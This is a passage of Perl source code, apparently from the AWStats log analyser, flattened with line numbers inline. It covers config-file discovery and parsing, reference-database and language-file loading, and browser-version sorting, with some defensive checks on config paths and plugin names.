) 1589 ? lc($1) 1590 : 'Unknown'; 1591 } 1592 else { 1593 $extension = 'Unknown'; 1594 } 1595 return $extension; 1596} 1597 1598#------------------------------------------------------------------------------ 1599# Function: Returns just the file of the url 1600# Parameters: - 1601# Input: $url 1602# Output: String with the file name 1603# Return: - 1604#------------------------------------------------------------------------------ 1605sub Get_Filename{ 1606 my $temp = shift; 1607 my $idx = -1; 1608 # check for slash 1609 $idx = rindex($temp, "/"); 1610 if ($idx > -1){ $temp = substr($temp, $idx+1);} 1611 else{ 1612 $idx = rindex($temp, "\\"); 1613 if ($idx > -1){ $temp = substr($temp, $idx+1);} 1614 } 1615 return $temp; 1616} 1617 1618#------------------------------------------------------------------------------ 1619# Function: Compare two browsers version 1620# Parameters: $a 1621# Input: None 1622# Output: None 1623# Return: -1, 0, 1 1624#------------------------------------------------------------------------------ 1625sub SortBrowsers { 1626 my $a_family = $a; 1627 my @a_ver = (); 1628 foreach my $family ( keys %BrowsersFamily ) { 1629 if ( $a =~ /^$family/i ) { 1630 $a =~ m/^(\D+)([\d\.]+)?$/; 1631 $a_family = $1; 1632 @a_ver = split( /\./, $2 ); 1633 } 1634 } 1635 my $b_family = $b; 1636 my @b_ver = (); 1637 foreach my $family ( keys %BrowsersFamily ) { 1638 if ( $b =~ /^$family/i ) { 1639 $b =~ m/^(\D+)([\d\.]+)?$/; 1640 $b_family = $1; 1641 @b_ver = split( /\./, $2 ); 1642 } 1643 } 1644 1645 my $compare = 0; 1646 my $done = 0; 1647 1648 $compare = $a_family cmp $b_family; 1649 if ( $compare != 0 ) { 1650 return $compare; 1651 } 1652 1653 while ( !$done ) { 1654 my $a_num = shift @a_ver || 0; 1655 my $b_num = shift @b_ver || 0; 1656 1657 $compare = $a_num <=> $b_num; 1658 if ( $compare != 0 1659 || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) ) 1660 { 1661 $done = 1; 1662 } 1663 } 1664 1665 return $compare; 1666} 1667 1668#------------------------------------------------------------------------------ 1669# Function: Read config file 1670# Parameters: None or configdir to scan 1671# Input: $DIR $PROG $SiteConfig 1672# Output: Global variables 1673# Return: - 1674#------------------------------------------------------------------------------ 1675sub Read_Config { 1676 1677 # Check config file in common possible directories : 1678 # Windows : "$DIR" (same dir than awstats.pl) 1679 # Standard, Mandrake and Debian package : "/etc/awstats" 1680 # Other possible directories : "/usr/local/etc/awstats", "/etc" 1681 # FHS standard, Suse package : "/etc/opt/awstats" 1682 my $configdir = shift; 1683 my @PossibleConfigDir = ( 1684 "$DIR", 1685 "/etc/awstats", 1686 "/usr/local/etc/awstats", "/etc", 1687 "/etc/opt/awstats" 1688 ); 1689 1690 if ($configdir) { 1691 # Check if configdir is outside default values. 1692 my $outsidedefaultvalue=1; 1693 foreach (@PossibleConfigDir) { 1694 if ($_ eq $configdir) { $outsidedefaultvalue=0; last; } 1695 } 1696 1697 # If from CGI, overwriting of configdir with a value that differs from a default value 1698 # is only possible if AWSTATS_ENABLE_CONFIG_DIR defined. 1699 # AWSTATS_ENABLE_CONFIG_DIR must contains dir allowed 1700 if ($ENV{'GATEWAY_INTERFACE'} && $outsidedefaultvalue) 1701 { 1702 if (! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) 1703 { 1704 error("Sorry, to allow overwriting of configdir parameter, from an AWStats CGI page, with a non default value, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to full path of allowed directory. For example, by adding the line 'SetEnv AWSTATS_ENABLE_CONFIG_DIR /mydirofconf' in your Apache config file or into a .htaccess file."); 1705 } 1706 else 1707 { 1708 if ($configdir !~ $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) 1709 { 1710 error("Sorry, using configdir parameter from an AWStats CGI page is possible only if parameter configdir is a directory defined into environment variable AWSTATS_ENABLE_CONFIG_DIR"); 1711 } 1712 } 1713 } 1714 1715 @PossibleConfigDir = ("$configdir"); 1716 } 1717 1718 # Open config file 1719 $FileConfig = $FileSuffix = ''; 1720 foreach (@PossibleConfigDir) { 1721 my $searchdir = $_; 1722 if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; } 1723 1724 if ( -f $searchdir.$PROG.".".$SiteConfig.".conf" && open( CONFIG, "<$searchdir$PROG.$SiteConfig.conf" ) ) { 1725 $FileConfig = "$searchdir$PROG.$SiteConfig.conf"; 1726 $FileSuffix = ".$SiteConfig"; 1727 if ($Debug){debug("Opened config: $searchdir$PROG.$SiteConfig.conf", 2);} 1728 last; 1729 }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.$SiteConfig.conf", 2);}} 1730 1731 if ( -f $searchdir.$PROG.".conf" && open( CONFIG, "$searchdir$PROG.conf" ) ) { 1732 $FileConfig = "$searchdir$PROG.conf"; 1733 $FileSuffix = ''; 1734 if ($Debug){debug("Opened config: $searchdir$PROG.conf", 2);} 1735 last; 1736 }else{if ($Debug){debug("Unable to open config file: $searchdir$PROG.conf", 2);}} 1737 1738 # Added to open config if file name is passed to awstats 1739 if ( -f $searchdir.$SiteConfig && open( CONFIG, "$searchdir$SiteConfig" ) ) { 1740 $FileConfig = "$searchdir$SiteConfig"; 1741 $FileSuffix = ''; 1742 if ($Debug){debug("Opened config: $searchdir$SiteConfig", 2);} 1743 last; 1744 }else{if ($Debug){debug("Unable to open config file: $searchdir$SiteConfig", 2);}} 1745 } 1746 1747 #CL - Added to open config if full path is passed to awstats 1748 # Disabled by LDR for security reason. 1749 # If we need to execute config into other dir 1750 #if ( !$FileConfig ) { 1751 # 1752 # my $SiteConfigBis = File::Spec->rel2abs($SiteConfig); 1753 # debug("Finally, try to open an absolute path : $SiteConfigBis", 2); 1754 # 1755 # if ( -f $SiteConfigBis && open(CONFIG, "$SiteConfigBis")) { 1756 # $FileConfig = "$SiteConfigBis"; 1757 # $FileSuffix = ''; 1758 # if ($Debug){debug("Opened config: $SiteConfigBis", 2);} 1759 # $SiteConfig=$SiteConfigBis; 1760 # } 1761 # else { 1762 # if ($Debug){debug("Unable to open config file: $SiteConfigBis", 2);} 1763 # } 1764 #} 1765 1766 if ( !$FileConfig ) { 1767 if ($DEBUGFORCED || !$ENV{'GATEWAY_INTERFACE'}){ 1768 error( 1769"Couldn't open config file \"$PROG.$SiteConfig.conf\", nor \"$PROG.conf\", nor \"$SiteConfig\" after searching in path \"" 1770 . join( ', ', @PossibleConfigDir ) 1771 . ", $SiteConfig\": $!" ); 1772 }else{error("Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\". 1773 Please read the documentation for directories where the configuration file should be located."); } 1774 } 1775 1776 # Analyze config file content and close it 1777 &Parse_Config( *CONFIG, 1, $FileConfig ); 1778 close CONFIG; 1779 1780 # If parameter NotPageList not found, init for backward compatibility 1781 if ( !$FoundNotPageList ) { 1782 %NotPageList = ( 1783 'css' => 1, 1784 'js' => 1, 1785 'class' => 1, 1786 'gif' => 1, 1787 'jpg' => 1, 1788 'jpeg' => 1, 1789 'png' => 1, 1790 'bmp' => 1, 1791 'ico' => 1, 1792 'swf' => 1 1793 ); 1794 } 1795 1796 # If parameter ValidHTTPCodes empty, init for backward compatibility 1797 if ( !scalar keys %ValidHTTPCodes ) { 1798 $ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1; 1799 } 1800 1801 # If parameter ValidSMTPCodes empty, init for backward compatibility 1802 if ( !scalar keys %ValidSMTPCodes ) { 1803 $ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1; 1804 } 1805 1806 # If parameter TrapInfosForHTTPErrorCodes empty, init to default 1807 if ( !scalar keys %TrapInfosForHTTPErrorCodes ) { 1808 $TrapInfosForHTTPErrorCodes{"404"} = 1; 1809 } 1810} 1811 1812#------------------------------------------------------------------------------ 1813# Function: Parse content of a config file 1814# Parameters: opened file handle, depth level, file name 1815# Input: - 1816# Output: Global variables 1817# Return: - 1818#------------------------------------------------------------------------------ 1819sub Parse_Config { 1820 my ($confighandle) = $_[0]; 1821 my $level = $_[1]; 1822 my $configFile = $_[2]; 1823 my $versionnum = 0; 1824 my $conflinenb = 0; 1825 1826 if ( $level > 10 ) { 1827 error( 1828"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)." 1829 ); 1830 } 1831 1832 while (<$confighandle>) { 1833 chomp $_; 1834 s/\r//; 1835 $conflinenb++; 1836 1837 # Extract version from first line 1838 if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) { 1839 $versionnum = ( $1 * 1000 ) + $2; 1840 1841 #if ($Debug) { debug(" Configure file version is $versionnum",1); } 1842 next; 1843 } 1844 1845 if ( $_ =~ /^\s*$/ ) { next; } 1846 1847 # Check includes 1848 if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ ) 1849 { # #include kept for backward compatibility 1850 my $includeFile = $1; 1851 1852 # Expand __var__ by values 1853 while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) { 1854 my $var = $1; 1855 $includeFile =~ s/__${var}__/$ENV{$var}/g; 1856 } 1857 if ($Debug) { debug( "Found an include : $includeFile", 2 ); } 1858 if ( $includeFile !~ /^([a-zA-Z]:)?[\\\/]/ ) { 1859 # Correct relative include files 1860 if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) { 1861 $includeFile = "$1$includeFile"; 1862 } 1863 } 1864 if ( $level > 1 && $^V lt v5.6.0 ) { 1865 warning( 1866"Warning: Perl versions before 5.6 cannot handle nested includes" 1867 ); 1868 next; 1869 } 1870 local( *CONFIG_INCLUDE ); # To avoid having parent file closed when include file is closed 1871 if ( open( CONFIG_INCLUDE, "<$includeFile" ) ) { 1872 &Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile ); 1873 close(CONFIG_INCLUDE); 1874 } 1875 else { 1876 error("Could not open include file: $includeFile"); 1877 } 1878 next; 1879 } 1880 1881 # Remove comments 1882 if ( $_ =~ /^\s*#/ ) { next; } 1883 $_ =~ s/\s#.*$//; 1884 1885 # Extract param and value 1886 my ( $param, $value ) = split( /=/, $_, 2 ); 1887 $param =~ s/^\s+//; 1888 $param =~ s/\s+$//; 1889 1890 # If not a param=value, try with next line 1891 if ( !$param ) { 1892 warning( 1893"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored." 1894 ); 1895 next; 1896 } 1897 if ( !defined $value ) { 1898 warning( 1899"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored." 1900 ); 1901 next; 1902 } 1903 1904 if ($value) { 1905 $value =~ s/^\s+//; 1906 $value =~ s/\s+$//; 1907 $value =~ s/^\"//; 1908 $value =~ s/\";?$//; 1909 1910 # Replace __MONENV__ with value of environnement variable MONENV 1911 # Must be able to replace __VAR_1____VAR_2__ 1912 while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) { 1913 my $var = $1; 1914 $value =~ s/__${var}__/$ENV{$var}/g; 1915 } 1916 } 1917 1918 # Initialize parameter for (param,value) 1919 if ( $param =~ /^LogFile/ ) { 1920 if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; } 1921 next; 1922 } 1923 if ( $param =~ /^DirIcons/ ) { 1924 if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; } 1925 next; 1926 } 1927 if ( $param =~ /^SiteDomain/ ) { 1928 1929 # No regex test as SiteDomain is always exact value 1930 $SiteDomain = $value; 1931 1932 if ($SiteDomain =~ m/xn--/) 1933 { 1934 # TODO Add code to test if IDNA::Punycode module is on 1935 #use IDNA::Punycode; 1936 $DecodePunycode=0; # Set to 1 if module is on 1937 if ($DecodePunycode) 1938 { 1939 idn_prefix(undef); 1940 my @parts = split(/\./, $SiteDomain); 1941 foreach (@parts) { 1942 if ($_ =~ s/^xn--//) { 1943 eval { $_ = decode_punycode($_); }; 1944 if (my $e = $@) { $_ = $e; } 1945 } 1946 } 1947 $SiteDomain = join('.', @parts); 1948 } 1949 } 1950 1951 next; 1952 } 1953 if ( $param =~ /^AddLinkToExternalCGIWrapper/ ) { 1954 1955 # No regex test as AddLinkToExternalCGIWrapper is always exact value 1956 $AddLinkToExternalCGIWrapper = $value; 1957 next; 1958 } 1959 if ( $param =~ /^HostAliases/ ) { 1960 @HostAliases = (); 1961 foreach my $elem ( split( /\s+/, $value ) ) { 1962 if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file 1963 open( DATAFILE, "<$elem" ) 1964 || error( 1965"Failed to open file '$elem' declared in HostAliases parameter" 1966 ); 1967 my @val = map( /^(.*)$/i, <DATAFILE> ); 1968 push @HostAliases, map { qr/^$_$/i } @val; 1969 close(DATAFILE); 1970 } 1971 else { 1972 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 1973 else { $elem = '^' . quotemeta($elem) . '$'; } 1974 if ($elem) { push @HostAliases, qr/$elem/i; } 1975 } 1976 } 1977 next; 1978 } 1979 1980 # Special optional setup params 1981 if ( $param =~ /^SkipDNSLookupFor/ ) { 1982 @SkipDNSLookupFor = (); 1983 foreach my $elem ( split( /\s+/, $value ) ) { 1984 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 1985 else { $elem = '^' . quotemeta($elem) . '$'; } 1986 if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; } 1987 } 1988 next; 1989 } 1990 if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) { 1991 @AllowAccessFromWebToFollowingAuthenticatedUsers = (); 1992 foreach ( split( /\s+/, $value ) ) { 1993 push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_; 1994 } 1995 next; 1996 } 1997 if ( $param =~ /^DefaultFile/ ) { 1998 @DefaultFile = (); 1999 foreach my $elem ( split( /\s+/, $value ) ) { 2000 2001 # No REGEX for this option 2002 #if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; } 2003 #else { $elem='^'.quotemeta($elem).'$'; } 2004 if ($elem) { push @DefaultFile, $elem; } 2005 } 2006 next; 2007 } 2008 if ( $param =~ /^SkipHosts/ ) { 2009 @SkipHosts = (); 2010 foreach my $elem ( split( /\s+/, $value ) ) { 2011 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2012 else { $elem = '^' . quotemeta($elem) . '$'; } 2013 if ($elem) { push @SkipHosts, qr/$elem/i; } 2014 } 2015 next; 2016 } 2017 if ( $param =~ /^SkipReferrersBlackList/ && $value ) { 2018 open( BLACKLIST, "<$value" ) 2019 || die "Failed to open blacklist: $!\n"; 2020 while (<BLACKLIST>) { 2021 chomp; 2022 my $elem = $_; 2023 $elem =~ s/ //; 2024 $elem =~ s/\#.*//; 2025 if ($elem) { push @SkipReferrers, qr/$elem/i; } 2026 } 2027 next; 2028 close(BLACKLIST); 2029 } 2030 if ( $param =~ /^SkipUserAgents/ ) { 2031 @SkipUserAgents = (); 2032 foreach my $elem ( split( /\s+/, $value ) ) { 2033 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2034 else { $elem = '^' . quotemeta($elem) . '$'; } 2035 if ($elem) { push @SkipUserAgents, qr/$elem/i; } 2036 } 2037 next; 2038 } 2039 if ( $param =~ /^SkipFiles/ ) { 2040 @SkipFiles = (); 2041 foreach my $elem ( split( /\s+/, $value ) ) { 2042 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2043 else { $elem = '^' . quotemeta($elem) . '$'; } 2044 if ($elem) { push @SkipFiles, qr/$elem/i; } 2045 } 2046 next; 2047 } 2048 if ( $param =~ /^OnlyHosts/ ) { 2049 @OnlyHosts = (); 2050 foreach my $elem ( split( /\s+/, $value ) ) { 2051 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2052 else { $elem = '^' . quotemeta($elem) . '$'; } 2053 if ($elem) { push @OnlyHosts, qr/$elem/i; } 2054 } 2055 next; 2056 } 2057 if ( $param =~ /^OnlyUsers/ ) { 2058 @OnlyUsers = (); 2059 foreach my $elem ( split( /\s+/, $value ) ) { 2060 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2061 else { $elem = '^' . quotemeta($elem) . '$'; } 2062 if ($elem) { push @OnlyUsers, qr/$elem/i; } 2063 } 2064 next; 2065 } 2066 if ( $param =~ /^OnlyUserAgents/ ) { 2067 @OnlyUserAgents = (); 2068 foreach my $elem ( split( /\s+/, $value ) ) { 2069 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2070 else { $elem = '^' . quotemeta($elem) . '$'; } 2071 if ($elem) { push @OnlyUserAgents, qr/$elem/i; } 2072 } 2073 next; 2074 } 2075 if ( $param =~ /^OnlyFiles/ ) { 2076 @OnlyFiles = (); 2077 foreach my $elem ( split( /\s+/, $value ) ) { 2078 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2079 else { $elem = '^' . quotemeta($elem) . '$'; } 2080 if ($elem) { push @OnlyFiles, qr/$elem/i; } 2081 } 2082 next; 2083 } 2084 if ( $param =~ /^NotPageFiles/ ) { 2085 @NotPageFiles = (); 2086 foreach my $elem ( split( /\s+/, $value ) ) { 2087 if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } 2088 else { $elem = '^' . quotemeta($elem) . '$'; } 2089 if ($elem) { push @NotPageFiles, qr/$elem/i; } 2090 } 2091 next; 2092 } 2093 if ( $param =~ /^NotPageList/ ) { 2094 %NotPageList = (); 2095 foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; } 2096 $FoundNotPageList = 1; 2097 next; 2098 } 2099 if ( $param =~ /^ValidHTTPCodes/ ) { 2100 %ValidHTTPCodes = (); 2101 foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; } 2102 next; 2103 } 2104 if ( $param =~ /^ValidSMTPCodes/ ) { 2105 %ValidSMTPCodes = (); 2106 foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; } 2107 next; 2108 } 2109 if ( $param =~ /^TrapInfosForHTTPErrorCodes/ ) { 2110 %TrapInfosForHTTPErrorCodes = (); 2111 foreach ( split( /\s+/, $value ) ) { $TrapInfosForHTTPErrorCodes{$_} = 1; } 2112 next; 2113 } 2114 if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) { 2115 @URLWithQueryWithOnly = split( /\s+/, $value ); 2116 next; 2117 } 2118 if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) { 2119 @URLWithQueryWithout = split( /\s+/, $value ); 2120 next; 2121 } 2122 2123 # Extra parameters 2124 if ( $param =~ /^ExtraSectionName(\d+)/ ) { 2125 $ExtraName[$1] = $value; 2126 next; 2127 } 2128 if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) { 2129 @{ $ExtraCodeFilter[$1] } = split( /\s+/, $value ); 2130 next; 2131 } 2132 if ( $param =~ /^ExtraSectionCondition(\d+)/ ) { 2133 $ExtraCondition[$1] = $value; 2134 next; 2135 } 2136 if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) { 2137 $ExtraStatTypes[$1] = $value; 2138 next; 2139 } 2140 if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) { 2141 $ExtraFirstColumnTitle[$1] = $value; 2142 next; 2143 } 2144 if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) { 2145 $ExtraFirstColumnValues[$1] = $value; 2146 next; 2147 } 2148 if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) { 2149 $ExtraFirstColumnFunction[$1] = $value; 2150 next; 2151 } 2152 if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) { 2153 $ExtraFirstColumnFormat[$1] = $value; 2154 next; 2155 } 2156 if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) { 2157 $ExtraAddAverageRow[$1] = $value; 2158 next; 2159 } 2160 if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) { 2161 $ExtraAddSumRow[$1] = $value; 2162 next; 2163 } 2164 if ( $param =~ /^MaxNbOfExtra(\d+)/ ) { 2165 $MaxNbOfExtra[$1] = $value; 2166 next; 2167 } 2168 if ( $param =~ /^MinHitExtra(\d+)/ ) { 2169 $MinHitExtra[$1] = $value; 2170 next; 2171 } 2172 2173 # Plugins 2174 if ( $param =~ /^LoadPlugin/ ) { 2175 $value =~ s/[^a-zA-Z0-9_\/\.\+:=\?\s%\-]//g; # Sanitize plugin name and string param because it is used later in an eval. 2176 push @PluginsToLoad, $value; next; 2177 } 2178 2179 # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra 2180 if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; } 2181 if ( $param =~ /^MinHit(\w+)/ ) { $MinHit{$1} = $value; next; } 2182 2183# Check if this is a known parameter 2184# if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); } 2185# If parameters was not found previously, defined variable with name of param to value 2186 $$param = $value; 2187 } 2188 2189 if ($Debug) { 2190 debug("Config file read was \"$configFile\" (level $level)"); 2191 } 2192} 2193 2194#------------------------------------------------------------------------------ 2195# Function: Load the reference databases 2196# Parameters: List of files to load 2197# Input: $DIR 2198# Output: Arrays and Hash tables are defined 2199# Return: - 2200#------------------------------------------------------------------------------ 2201sub Read_Ref_Data { 2202 2203# Check lib files in common possible directories : 2204# Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl) 2205# Debian package: "/usr/share/awstats/lib" 2206 my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" ); 2207 my %FilePath = (); 2208 my %DirAddedInINC = (); 2209 my @FileListToLoad = (); 2210 while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; } 2211 if ($Debug) { 2212 debug( "Call to Read_Ref_Data with files to load: " 2213 . ( join( ',', @FileListToLoad ) ) ); 2214 } 2215 foreach my $file (@FileListToLoad) { 2216 foreach my $dir (@PossibleLibDir) { 2217 my $searchdir = $dir; 2218 if ( $searchdir 2219 && ( !( $searchdir =~ /\/$/ ) ) 2220 && ( !( $searchdir =~ /\\$/ ) ) ) 2221 { 2222 $searchdir .= "/"; 2223 } 2224 if ( !$FilePath{$file} ) 2225 { # To not load twice same file in different path 2226 if ( -s "${searchdir}${file}" ) { 2227 $FilePath{$file} = "${searchdir}${file}"; 2228 if ($Debug) { 2229 debug( 2230"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]" 2231 ); 2232 } 2233 2234 # Note: cygwin perl 5.8 need a push + require file 2235 if ( !$DirAddedInINC{"$dir"} ) { 2236 push @INC, "$dir"; 2237 $DirAddedInINC{"$dir"} = 1; 2238 } 2239 my $loadret = require "$file"; 2240 2241 #my $loadret=(require "$FilePath{$file}"||require "${file}"); 2242 } 2243 } 2244 } 2245 if ( !$FilePath{$file} ) { 2246 my $filetext = $file; 2247 $filetext =~ s/\.pm$//; 2248 $filetext =~ s/_/ /g; 2249 warning( 2250"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \"" 2251 . ( $PossibleLibDir[0] ) 2252 . "\" directory and is readable." ); 2253 } 2254 } 2255 2256 # Sanity check (if loaded) 2257 if ( ( scalar keys %OSHashID ) 2258 && @OSSearchIDOrder != scalar keys %OSHashID ) 2259 { 2260 error( "Not same number of records of OSSearchIDOrder (" 2261 . (@OSSearchIDOrder) 2262 . " entries) and OSHashID (" 2263 . ( scalar keys %OSHashID ) 2264 . " entries) in OS database. Check your file " 2265 . $FilePath{"operating_systems.pm"} ); 2266 } 2267 if ( 2268 ( scalar keys %SearchEnginesHashID ) 2269 && ( @SearchEnginesSearchIDOrder_list1 + 2270 @SearchEnginesSearchIDOrder_list2 + 2271 @SearchEnginesSearchIDOrder_listgen ) != scalar 2272 keys %SearchEnginesHashID 2273 ) 2274 { 2275 error( 2276"Not same number of records of SearchEnginesSearchIDOrder_listx (total is " 2277 . ( 2278 @SearchEnginesSearchIDOrder_list1 + 2279 @SearchEnginesSearchIDOrder_list2 + 2280 @SearchEnginesSearchIDOrder_listgen 2281 ) 2282 . " entries) and SearchEnginesHashID (" 2283 . ( scalar keys %SearchEnginesHashID ) 2284 . " entries) in Search Engines database. Check your file " 2285 . $FilePath{"search_engines.pm"} 2286 . " is up to date." 2287 ); 2288 } 2289 if ( ( scalar keys %BrowsersHashIDLib ) 2290 && @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) ) 2291 { 2292 #foreach (sort keys %BrowsersHashIDLib) 2293 #{ 2294 # print $_."\n"; 2295 #} 2296 #foreach (sort @BrowsersSearchIDOrder) 2297 #{ 2298 # print $_."\n"; 2299 #} 2300 error( "Not same number of records of BrowsersSearchIDOrder (" 2301 . (@BrowsersSearchIDOrder) 2302 . " entries) and BrowsersHashIDLib (" 2303 . ( ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) ) 2304 . " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape,edge) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file " 2305 . $FilePath{"browsers.pm"} 2306 . " is up to date." ); 2307 } 2308 if ( 2309 ( scalar keys %RobotsHashIDLib ) 2310 && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 + 2311 @RobotsSearchIDOrder_listgen ) != 2312 ( scalar keys %RobotsHashIDLib ) - 1 2313 ) 2314 { 2315 error( 2316 "Not same number of records of RobotsSearchIDOrder_listx (total is " 2317 . ( 2318 @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 + 2319 @RobotsSearchIDOrder_listgen 2320 ) 2321 . " entries) and RobotsHashIDLib (" 2322 . ( ( scalar keys %RobotsHashIDLib ) - 1 ) 2323 . " entries without 'unknown') in Robots database. Check your file " 2324 . $FilePath{"robots.pm"} 2325 . " is up to date." 2326 ); 2327 } 2328} 2329 2330#------------------------------------------------------------------------------ 2331# Function: Get the messages for a specified language 2332# Parameters: LanguageId 2333# Input: $DirLang $DIR 2334# Output: $Message table is defined in memory 2335# Return: None 2336#------------------------------------------------------------------------------ 2337sub Read_Language_Data { 2338 2339 # Check lang files in common possible directories : 2340 # Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl) 2341 # Debian package : "/usr/share/awstats/lang" 2342 my @PossibleLangDir = 2343 ( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" ); 2344 2345 my $FileLang = ''; 2346 foreach (@PossibleLangDir) { 2347 my $searchdir = $_; 2348 if ( $searchdir =~ /\|/ ) # We refuse path that contains "|" 2349 { 2350 error("DirLang parameter can't contains character |"); 2351 next; 2352 } 2353 if ( $searchdir 2354 && ( !( $searchdir =~ /\/$/ ) ) 2355 && ( !( $searchdir =~ /\\$/ ) ) ) 2356 { 2357 $searchdir .= "/"; 2358 } 2359 if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) { 2360 $FileLang = "${searchdir}awstats-$_[0].txt"; 2361 last; 2362 } 2363 } 2364 2365 # If file not found, we try english 2366 if ( !$FileLang ) { 2367 foreach (@PossibleLangDir) { 2368 my $searchdir = $_; 2369 if ( $searchdir 2370 && ( !( $searchdir =~ /\/$/ ) ) 2371 && ( !( $searchdir =~ /\\$/ ) ) ) 2372 { 2373 $searchdir .= "/"; 2374 } 2375 if ( open( LANG, "${searchdir}awstats-en.txt" ) ) { 2376 $FileLang = "${searchdir}awstats-en.txt"; 2377 last; 2378 } 2379 } 2380 } 2381 if ($Debug) { 2382 debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]"); 2383 } 2384 if ($FileLang) { 2385 my $i = 0; 2386 binmode LANG; # Might avoid 'Malformed UTF-8 errors' 2387 my $cregcode = qr/^PageCode=[\t\s\"\']*([\w-]+)/i; 2388 my $cregdir = qr/^PageDir=[\t\s\"\']*([\w-]+)/i; 2389 my $cregmessage = qr/^Message\d+=/i; 2390 while (<LANG>) { 2391 chomp $_; 2392 s/\r//; 2393 if ( $_ =~ /$cregcode/o ) { $PageCode = $1; } 2394 if ( $_ =~ /$cregdir/o ) { $PageDir = $1; } 2395 if ( $_ =~ s/$cregmessage//o ) { 2396 $_ =~ s/^#.*//; # Remove comments 2397 $_ =~ s/\s+#.*//; # Remove comments 2398 $_ =~ tr/\t / /s; # Change all blanks into " " 2399 $_ =~ s/^\s+//; 2400 $_ =~ s/\s+$//; 2401 $_ =~ s/^\"//; 2402 $_ =~ s/\"$//; 2403 $Message[$i] = $_; 2404 $i++; 2405 } 2406 } 2407 close(LANG); 2408 } 2409 else { 2410 warning( 2411"Warning: Can't find language files for \"$_[0]\". English will be used." 2412 ); 2413 } 2414 2415 # Some language string changes 2416 if ( $LogType eq 'M' ) { # For mail 2417 $Message[8] = $Message[151]; 2418 $Message[9] = $Message[152]; 2419 $Message[57] = $Message[149]; 2420 $Message[75] = $Message[150]; 2421 } 2422 if ( $LogType eq 'F' ) { # For web 2423 2424 } 2425} 2426 2427#------------------------------------------------------------------------------ 2428# Function: Substitute date tags in a string by value 2429# Parameters: String 2430# Input: All global variables 2431# Output: Change on some global variables 2432# Return: String 2433#------------------------------------------------------------------------------ 2434sub Substitute_Tags { 2435 my $SourceString = shift; 2436 if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); } 2437 2438 my %MonthNumLibEn = ( 2439 "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr", 2440 "05", "May", "06", "Jun", "07", "Jul", "08", "Aug", 2441 "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec" 2442 ); 2443 2444 while ( $SourceString =~ 